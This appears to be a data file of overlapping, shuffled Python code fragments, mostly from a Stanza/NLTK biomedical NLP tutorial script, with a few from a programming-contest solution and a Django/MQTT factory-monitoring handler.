"stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The text below was extracted",
"sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in",
"\"\"\" Just a shortcut to annotate the text with the given NER model",
"{word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic dependency information",
"[Token][stanza-token] and a # [Word][stanza-word] object. # Unlike `spacy`, in order to access",
"Just a shortcut to annotate the text with the given NER model \"\"\"",
"if print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if subtree.label()",
"\"\"\" print(text) # Removing newlines # The line below will replace newlines with",
"At this level you get the semantic dependencies # # for token in",
"with an unusual toxicity spectrum, lacking the activity against the culicine mosquito. \"\"\"",
"sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT ID')",
"well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the existing mosquitocidal B.",
"or one of the previous pattern; # * `*` means zero or more",
"sentence's tokens # # for word in sent.words: # # Operating on the",
"text # The text below was extracted from the 2019 BioNLP OST `BB-Rel`",
"Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains.",
"more `words`; # note: On stanza there is a distiction between a [Token][stanza-token]",
"# for sent in doc.sentences: # # Operating on the document sentences #",
"3.8.6 OS: arch linux \"\"\" # Importing modules import re import stanza import",
"the semantic # dependency arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20}",
"# Defining the text # The text below was extracted from the 2019",
"# # where: # * `?` means zero or one of the previous",
"more of the previous pattern; # * `+` means one or more of",
"The strain 96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis strains in:",
"an unusual toxicity spectrum, lacking the activity against the culicine mosquito. \"\"\" print(text)",
"# Semantic Dependency Parsing # Semantic dependency information can be accessed at sentence",
"ner_model: str): \"\"\" Just a shortcut to annotate the text with the given",
"print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text, 'jnlpba') show_ner(text, 'linnaeus') show_ner(text,",
"was extracted from the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from",
"chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence",
"borking your system's python installation Some extra info: Python version: 3.8.6 OS: arch",
"pattern; # * `*` means zero or more of the previous pattern; #",
"in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc,",
"amino acid sequences of parasporal inclusion proteins. It is clear from the results",
"mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan. To characterize the",
"print(' ID TEXT LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20}",
"serovar sotto strain isolated from Okinawa, Japan. To characterize the mosquitocidal activity of",
"text = re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating the document # Just",
"came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza'",
"models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the",
"# * A `sentence` contains `tokens`/`words`; # * A `token` contains one of",
"tokens # # for word in sent.words: # # Operating on the sentence's",
"# Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # An annotated document",
"determiner; # * `<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+` -",
"Annotating the document # Just call `nlp(STRING)` and that's pretty much it doc",
"print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT ID') for dep in",
"grammar: str, print_full_tree: bool = True): \"\"\" Print a document's chunks Arguments: doc:",
"NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing",
"word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing",
"B. thuringiensis strains in: (1) lacking the larvicidal activity against Culex pipiens molestus",
"* `?` means zero or one of the previous pattern; # * `*`",
"zero or more of the previous pattern; # * `+` means one or",
"extracted from the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the",
"the sentences they're from, you'll see down below). In # general, a stanza",
"{i+1}') sentence = [(w.text, w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence) if",
"https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain",
"LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print()",
"cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text,",
"<{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The stanza framework has no",
"= './stanza_resources' # Downloading the biomedical models # Our main pipeline, trained with",
"thuringiensis strains in: (1) lacking the larvicidal activity against Culex pipiens molestus and",
"python installation Some extra info: Python version: 3.8.6 OS: arch linux \"\"\" #",
"below). In # general, a stanza code looks something like this: # for",
"'stanza' and 'nltk' modules, I'd highly recommend you install both libraries under an",
"# Our main pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') #",
"like this: # for sent in doc.sentences: # # Operating on the document",
"sotto strain isolated from Okinawa, Japan. To characterize the mosquitocidal activity of parasporal",
"re import stanza import nltk # The path where downloads should be saved.",
"end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar",
"pretty much it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and",
"on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models # Our main",
"dependency arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}')",
"Noun Chunks # The stanza framework has no built-in chunking, instead we'll be",
"notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk' modules, I'd",
"dep in sent.dependencies: # Using 'Source' and 'Target' here as a reference to",
"Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a",
"The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') #",
"doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10}",
"below was extracted from the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt`",
"results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a",
"# The line below will replace newlines with a single whitespace, then any",
"\"\"\" Some simple usage examples of the stanfordnlp Stanza library The original Colab",
"can be accessed at sentence level print(' ID TEXT DEP HEAD TEXT HEAD",
"lacking the larvicidal activity against Culex pipiens molestus and haemolytic activity, and (2)",
"'Source' and 'Target' here as a reference to the semantic # dependency arrow",
"in sent.dependencies: # Using 'Source' and 'Target' here as a reference to the",
"`?` means zero or one of the previous pattern; # * `*` means",
"A `token` contains one of more `words`; # note: On stanza there is",
"HEAD TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID",
"and 'nltk' modules, I'd highly recommend you install both libraries under an isolated",
"document # `BB-rel-14633026.txt` from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text",
"I'd highly recommend you install both libraries under an isolated python virtual environment",
"annotated document grammar: str An nltk chunk grammar regular expression print_full_tree: True|False If",
"means zero or more of the previous pattern; # * `+` means one",
"Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing",
"optional determiner; # * `<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+`",
"larvicidal activity against Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles,",
"# The path where downloads should be saved. By default it points to",
"# * `?` means zero or one of the previous pattern; # *",
"version: 3.8.6 OS: arch linux \"\"\" # Importing modules import re import stanza",
"(1) lacking the larvicidal activity against Culex pipiens molestus and haemolytic activity, and",
"`document` contains `sentences`; # * A `sentence` contains `tokens`/`words`; # * A `token`",
"# IDs are relative to the sentences they're from, you'll see down below).",
"print() # Semantic Dependency Parsing # Semantic dependency information can be accessed at",
"grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity",
"show_ner(text: str, ner_model: str): \"\"\" Just a shortcut to annotate the text with",
"# Using 'Source' and 'Target' here as a reference to the semantic #",
"# [Word][stanza-word] object. # Unlike `spacy`, in order to access a word's properties",
"a reference to the semantic # dependency arrow direction [src_word, deprel, tgt_word] =",
"(PoS) annotated document grammar: str An nltk chunk grammar regular expression print_full_tree: True|False",
"against the culicine mosquito. \"\"\" print(text) # Removing newlines # The line below",
"and (2) SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences of parasporal",
"96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a unique toxicity spectrum. This",
"nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # An annotated",
"adjectives; # * `<NN.*>+` - One or more nouns. # # where: #",
"NER models we'll test the JNLPBA, Linnaeus and S800 # models # #",
"(NER) # From stanza's available NER models we'll test the JNLPBA, Linnaeus and",
"= nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}')",
"strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly",
"haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences",
"on linux/macos, no idea where it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources'",
"unusual toxicity spectrum, lacking the activity against the culicine mosquito. \"\"\" print(text) #",
"Our main pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The",
"isolated python virtual environment and avoid borking your system's python installation Some extra",
"you must iterate over the document's sentences and then iterate # over each",
"grammar: str An nltk chunk grammar regular expression print_full_tree: True|False If true, print",
"# # Operating on the sentence's tokens # # for word in sent.words:",
"newlines # The line below will replace newlines with a single whitespace, then",
"= nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # An",
"unique toxicity spectrum. This is the first report of the occurrence of a",
"it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation",
"in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for",
"instead we'll be using the # `nltk` module and its example noun chunk",
"more of the previous pattern; # * `.` means any (single) character. #",
"stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus')",
"An optional determiner; # * `<JJ.*>*` - Zero or more adjectives; # *",
"system's python installation Some extra info: Python version: 3.8.6 OS: arch linux \"\"\"",
"dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The text below was extracted from",
"`sentence` contains `tokens`/`words`; # * A `token` contains one of more `words`; #",
"in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT ID') for",
"from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization",
"{tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The stanza framework has",
"no idea where it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading",
"single whitespace, then any # trailing spaces will be trimmed. We'll leave sentence",
"* A `sentence` contains `tokens`/`words`; # * A `token` contains one of more",
"sequences of parasporal inclusion proteins. It is clear from the results that the",
"their token # IDs are relative to the sentences they're from, you'll see",
"linux/macos, no idea where it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' #",
"modules, I'd highly recommend you install both libraries under an isolated python virtual",
"print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4}",
"`nltk` module and its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # #",
"does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models #",
"existing mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal activity against Culex",
"Part-of-Speech (PoS) and Sentence Segmentation # An annotated document will have the following",
"in doc.sentences: # # Operating on the document sentences # # At this",
"serovar sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The strain",
"the document's sentences and then iterate # over each sentences to get their",
"`<DT>?` - An optional determiner; # * `<JJ.*>*` - Zero or more adjectives;",
"where it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical",
"print only the matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i, sent)",
"no built-in chunking, instead we'll be using the # `nltk` module and its",
"in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS') for word in",
"# where: # * `?` means zero or one of the previous pattern;",
"Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk' modules,",
"to the semantic # dependency arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4}",
"for comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from",
"\"\"\" Print a document's chunks Arguments: doc: stanza.Document An (PoS) annotated document grammar:",
"stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp =",
"will replace newlines with a single whitespace, then any # trailing spaces will",
"with the given NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model})",
"The text below was extracted from the 2019 BioNLP OST `BB-Rel` task, document",
"and avoid borking your system's python installation Some extra info: Python version: 3.8.6",
"to your user's # HOME directory on linux/macos, no idea where it does",
"of the previous pattern; # * `.` means any (single) character. # #",
"# Noun Chunks # The stanza framework has no built-in chunking, instead we'll",
"96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed",
"str An nltk chunk grammar regular expression print_full_tree: True|False If true, print the",
"the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba')",
"for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w",
"URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto",
"also means their token # IDs are relative to the sentences they're from,",
"will have the following [structure][stanza-objs]: # * A `document` contains `sentences`; # *",
"The original Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on",
"this: # for sent in doc.sentences: # # Operating on the document sentences",
"grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER) # From stanza's",
"matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE",
"a # [Word][stanza-word] object. # Unlike `spacy`, in order to access a word's",
"# https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\" Just a shortcut to annotate",
"str): \"\"\" Just a shortcut to annotate the text with the given NER",
"the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset.",
"stanza there is a distiction between a [Token][stanza-token] and a # [Word][stanza-word] object.",
"dependencies # # for token in sent.tokens: # # Operating on the sentence's",
"# https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA",
"sentence = [(w.text, w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree",
"downloads should be saved. By default it points to your user's # HOME",
"the text with the given NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR,",
"means zero or one of the previous pattern; # * `*` means zero",
"direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() #",
"has no built-in chunking, instead we'll be using the # `nltk` module and",
"# Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word",
"def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True): \"\"\" Print a document's",
"significantly differed from the existing mosquitocidal B. thuringiensis strains in: (1) lacking the",
"is a distiction between a [Token][stanza-token] and a # [Word][stanza-word] object. # Unlike",
"STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models # Our main pipeline, trained",
"print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print()",
"<DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional determiner; # * `<JJ.*>*` -",
"One or more nouns. # # where: # * `?` means zero or",
"of the previous pattern; # * `+` means one or more of the",
"Importing modules import re import stanza import nltk # The path where downloads",
"enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w in sent.words] chunk_tree =",
"subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}'",
"first report of the occurrence of a mosquitocidal B. thuringiensis strain with an",
"`BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset. # # Task URL:",
"print_full_tree: bool = True): \"\"\" Print a document's chunks Arguments: doc: stanza.Document An",
"model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER",
"An nltk chunk grammar regular expression print_full_tree: True|False If true, print the whole",
"you get the semantic dependencies # # for token in sent.tokens: # #",
"grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional determiner; #",
"# The stanza framework has no built-in chunking, instead we'll be using the",
"print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named",
"a distiction between a [Token][stanza-token] and a # [Word][stanza-word] object. # Unlike `spacy`,",
"text).strip() print(text) # Annotating the document # Just call `nlp(STRING)` and that's pretty",
"Segmentation # An annotated document will have the following [structure][stanza-objs]: # * A",
"text below was extracted from the 2019 BioNLP OST `BB-Rel` task, document #",
"of the occurrence of a mosquitocidal B. thuringiensis strain with an unusual toxicity",
"level print(' ID TEXT DEP HEAD TEXT HEAD ID') for (i, sent) in",
"toxicity spectrum, lacking the activity against the culicine mosquito. \"\"\" print(text) # Removing",
"`+` means one or more of the previous pattern; # * `.` means",
"import stanza import nltk # The path where downloads should be saved. By",
"# Downloading the biomedical models # Our main pipeline, trained with the CRAFT",
"that's pretty much it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS)",
"replace newlines with a single whitespace, then any # trailing spaces will be",
"and that's pretty much it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech",
"sentence level print(' ID TEXT DEP HEAD TEXT HEAD ID') for (i, sent)",
"be saved. By default it points to your user's # HOME directory on",
"in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing #",
"print_full_tree=True) # Named Entity Recognition (NER) # From stanza's available NER models we'll",
"where: # * `?` means zero or one of the previous pattern; #",
"package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR,",
"python3 # -*- coding: utf-8 -*- \"\"\" Some simple usage examples of the",
"Unlike `spacy`, in order to access a word's properties (e.g.: lemma, PoS #",
"must iterate over the document's sentences and then iterate # over each sentences",
"avoid borking your system's python installation Some extra info: Python version: 3.8.6 OS:",
"print(text) # Removing newlines # The line below will replace newlines with a",
"isolated from Okinawa, Japan. To characterize the mosquitocidal activity of parasporal inclusions of",
"= nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos)",
"a document's chunks Arguments: doc: stanza.Document An (PoS) annotated document grammar: str An",
"mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis",
"https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk' modules, I'd highly recommend you",
"distiction between a [Token][stanza-token] and a # [Word][stanza-word] object. # Unlike `spacy`, in",
"UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() #",
"the occurrence of a mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum,",
"sent.words: # # Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token",
"available NER models we'll test the JNLPBA, Linnaeus and S800 # models #",
"print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True): \"\"\" Print a document's chunks",
"that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a unique",
"nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for",
"it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models # Our",
"lacking the activity against the culicine mosquito. \"\"\" print(text) # Removing newlines #",
"ID WORD TEXT <---DEP--- HEAD TEXT ID') for dep in sent.dependencies: # Using",
"annotate the text with the given NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft',",
"looks something like this: # for sent in doc.sentences: # # Operating on",
"nouns. # # where: # * `?` means zero or one of the",
"test the JNLPBA, Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text:",
"lemma, PoS # tags, etc.) you must iterate over the document's sentences and",
"at sentence level print(' ID TEXT DEP HEAD TEXT HEAD ID') for (i,",
"* `<NN.*>+` - One or more nouns. # # where: # * `?`",
"the previous pattern; # * `+` means one or more of the previous",
"# for token in sent.tokens: # # Operating on the sentence's tokens #",
"highly recommend you install both libraries under an isolated python virtual environment and",
"TEXT LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}')",
"spectrum, lacking the activity against the culicine mosquito. \"\"\" print(text) # Removing newlines",
"of parasporal inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison",
"requires the 'stanza' and 'nltk' modules, I'd highly recommend you install both libraries",
"library The original Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook",
"w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n') else:",
"text with the given NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner':",
"on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i,",
"leave sentence segmentation for the # trained model to handle. text = re.sub(r'\\n+',",
"contains one of more `words`; # note: On stanza there is a distiction"
] |
[
"input=sys.stdin.readline for _ in range(int(input())): n, *scores = map(int, input().split()) average = sum(scores)",
"= map(int, input().split()) average = sum(scores) / len(scores) answer = len(list(filter(lambda x: x",
"sum(scores) / len(scores) answer = len(list(filter(lambda x: x > average, scores))) / len(scores)",
"sys; input=sys.stdin.readline for _ in range(int(input())): n, *scores = map(int, input().split()) average =",
"n, *scores = map(int, input().split()) average = sum(scores) / len(scores) answer = len(list(filter(lambda",
"*scores = map(int, input().split()) average = sum(scores) / len(scores) answer = len(list(filter(lambda x:",
"<filename>boj/4344.py import sys; input=sys.stdin.readline for _ in range(int(input())): n, *scores = map(int, input().split())",
"import sys; input=sys.stdin.readline for _ in range(int(input())): n, *scores = map(int, input().split()) average",
"_ in range(int(input())): n, *scores = map(int, input().split()) average = sum(scores) / len(scores)",
"map(int, input().split()) average = sum(scores) / len(scores) answer = len(list(filter(lambda x: x >",
"= sum(scores) / len(scores) answer = len(list(filter(lambda x: x > average, scores))) /",
"range(int(input())): n, *scores = map(int, input().split()) average = sum(scores) / len(scores) answer =",
"in range(int(input())): n, *scores = map(int, input().split()) average = sum(scores) / len(scores) answer",
"for _ in range(int(input())): n, *scores = map(int, input().split()) average = sum(scores) /",
"input().split()) average = sum(scores) / len(scores) answer = len(list(filter(lambda x: x > average,",
"average = sum(scores) / len(scores) answer = len(list(filter(lambda x: x > average, scores)))",
"/ len(scores) answer = len(list(filter(lambda x: x > average, scores))) / len(scores) print(f\"{answer:.3%}\")"
] |
[
"colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic",
"json_Dict['Voltage'] monitorMainUnit = True elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine =",
"def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict",
"colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict",
"== \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic, data) elif topic ==",
"temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer()",
"recentOrder.finished = True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data):",
"monitorMainUnit = False monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type':",
"json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'],",
"async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory",
"recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True)",
"Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic,",
"False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine,",
"= json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit",
"temperatureSortingLine = \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message",
"json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8']",
